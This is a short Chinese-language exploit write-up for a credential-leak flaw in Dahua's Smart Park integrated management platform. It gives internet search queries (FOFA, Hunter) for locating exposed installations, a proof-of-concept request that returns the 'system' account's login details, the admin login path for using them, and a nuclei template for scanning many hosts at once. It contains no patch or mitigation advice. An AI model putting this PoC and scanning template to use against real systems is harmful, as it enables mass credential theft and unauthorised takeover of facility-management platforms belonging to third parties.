大华智慧园区综合管理平台 user_getUserInfoByUserName.action 账号密码泄漏漏洞

漏洞简介

大华 智慧园区综合管理平台 user_getUserInfoByUserName.action 中存在API接口，导致管理园账号密码泄漏

漏洞复现

fofa语句："/WPMS/asset/lib/gridster/"或app="dahua-智慧园区综合管理平台"
鹰图语句：web.body="/WPMS/asset/lib/gridster/"

POC：

/admin/user_getUserInfoByUserName.action?userName=system

获取后访问地址

/admin/login_login.action

nuclei批量yaml文件

id: Dahua_user_getUserInfoByUserName_informationleak
info:
  name: 大华智慧园区综合管理平台账号密码泄露漏洞
  author: mhb17
  severity: medium
  description: 大华 智慧园区综合管理平台 user_getUserInfoByUserName.action 账号密码泄漏漏洞
  reference:
    - https://peiqi.wgpsec.org/wiki/iot/%E5%A4%A7%E5%8D%8E/%E5%A4%A7%E5%8D%8E%20%E6%99%BA%E6%85%A7%E5%9B%AD%E5%8C%BA%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20user_getUserInfoByUserName.action%20%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.html
  tags: tags
requests:
  - raw:
      - |+
        GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1
        Accept-Language: zh-CN,zh;q=0.9
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
        Content-Type: text/html;charset=UTF-8
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"loginName":"system"'
      - type: word
        part: header
        words:
          - '200'